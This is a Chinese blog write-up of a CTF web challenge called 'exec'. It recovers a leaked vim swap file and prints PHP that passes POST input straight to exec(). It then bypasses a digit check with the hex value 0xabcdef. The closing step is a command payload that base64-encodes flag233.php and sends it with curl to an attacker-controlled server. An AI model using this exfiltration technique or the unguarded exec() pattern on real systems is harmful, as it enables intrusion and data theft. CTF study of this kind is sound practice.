i春秋exec

打开是一个gif,提示文字未登录

话不多说,查看源码

 

 

发现vim字样,可能是文件泄露

直接在url后加/.index.php.swp来下载泄露文件

 

 

下载好了之后放vm上使用vim -r  .index.php.swp  修复文件

打开后的文件为

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
    setcookie('auth','tcp tunnel is forbidden!');
    if(isset($_POST['cmd'])){
        $command=$_POST[cmd];
        $result=exec($command);
        //echo $result;
    }
}else{
    die('no sign');
}
?>
</body>
</html>

进行代码分析:

先告诉我们flagflag233.php(试着访问,告诉我hhhhhhhhhhh,too young too simple。。。。看来是个骗局)

Flag233.php里面什么都没有,接着读

发现它定义了一个check函数

大意是:

定义变量one其值是数字1ASCII

②定义变量nine其值是数字9ASCII

③定义循环,条件是当i小于变量number的长度的时候就执行,每次i+1,令变量digit的值每次为ord($number{$i}),如果其值介于4957之间就返回false,如果number中没有在ascii中对应4957之间的数字就让number等于11259375

然后是一个条件判断:

如果$_GET[sign])存在,且通过check函数后的$_GET[sign])不为false,就向客户端发送一个 HTTP cookie,又如果post传入了cmd的值,则执行外部程序(cmd的值),并输出最后一行shell结果

 

 

首先绕过第一个判断,让sign的值等于11259375并且sign中不包含1-9数字,这里就直接使用

 

16进制来绕过,让sign等于0xabcdef。其值就等于11259375并且不包含1-9的数字

 

然后就是上次cookie和执行命令了,这里的命令只输出最后一行shell的结果所以就没法直接查看文件

 

我们使用exec()函数来执行cmd命令,查看flag233.php的内容

 

构造postcmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data(其中xxx为自己的服务器地址)

 

让其对自己服务器进行访问并留下日志,最后去服务器上查看日志就可以得到flag

 

posted @ 2019-10-15 01:37  七星易  阅读(403)  评论(0编辑  收藏  举报